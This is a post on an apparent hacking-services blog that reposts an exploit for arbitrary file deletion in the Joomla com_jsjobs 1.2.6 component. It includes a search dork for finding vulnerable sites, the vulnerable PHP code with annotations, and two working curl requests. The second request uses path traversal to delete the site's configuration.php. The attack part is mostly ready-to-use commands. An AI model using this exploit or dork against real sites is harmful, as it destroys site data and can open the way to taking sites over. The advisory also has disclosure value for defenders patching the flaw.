Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397059

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0

# Vulnerability details:
# This vulnerability is caused when processing custom userfield.

File:		site/models/job.php
Function:	storeJob
Line:		1240
-------------------------------------

  1215	    //custom field code start
  1216	        $customflagforadd = false;
  1217	        $customflagfordelete = false;
  1218	        $custom_field_namesforadd = array();
  1219	        $custom_field_namesfordelete = array();
  1220	        $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
  1221	        $params = array();
  1222	        $forfordelete = '';
  1223	        
  1224	        foreach ($userfield AS $ufobj) {
  1225	            $vardata = '';
  1226	            if($ufobj->userfieldtype == 'file'){
  1227	                if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
  1228	                    $vardata = $data[$ufobj->field.'_2'];
  1229	                }else{
  1230	                    $vardata = $_FILES[$ufobj->field]['name'];
  1231	                }
  1232	                $customflagforadd=true;
  1233	                $custom_field_namesforadd[]=$ufobj->field;
  1234	            }else{
  1235	                $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
  1236	            }
  1237	            if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
  1238	                $customflagfordelete = true;
  1239	                $forfordelete = $ufobj->field;
  1240	                $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];		//No check.
  1241	            }
  ...snip...
  1323	        // new
  1324	        //removing custom field 
  1325	        if($customflagfordelete == true){
  1326	            foreach ($custom_field_namesfordelete as $key) {
  1327	                $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2);		//!!!
  1328	            }
  1329	        }

File:		site/models/common.php
Function:	uploadOrDeleteFileCustom
Line:		851
-------------------------------------

   748	        $path = $base . '/' . $datadirectory;
   749	        if (!file_exists($path)) { // create user directory
   750	            $this->makeDir($path);
   751	        }
   752	        $isupload = false;
   753	        $path = $path . '/data';
   754	        if (!file_exists($path)) { // create user directory
   755	            $this->makeDir($path);
   756	        }
   757	        if($for == 3 )
   758	            $path = $path . '/jobseeker';
   759	        else
   760	            $path = $path . '/employer';
   761	
   762	        if (!file_exists($path)) { // create user directory
   763	            $this->makeDir($path);
   764	        }
   ...snip...
   843	        } else { // DELETE FILES
   844	            if ($isdeletefile == 1) {
   845	                if($for == 3){
   846	                    $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
   847	                }else{
   848	                    $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
   849	                }
   850	                $file = $userpath.$field;
   851	                unlink($file);		//!!!
   852	            }
   853	            return 1;
   854	        }
   855	    }

#####################################
#PoC:
#####################################

# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"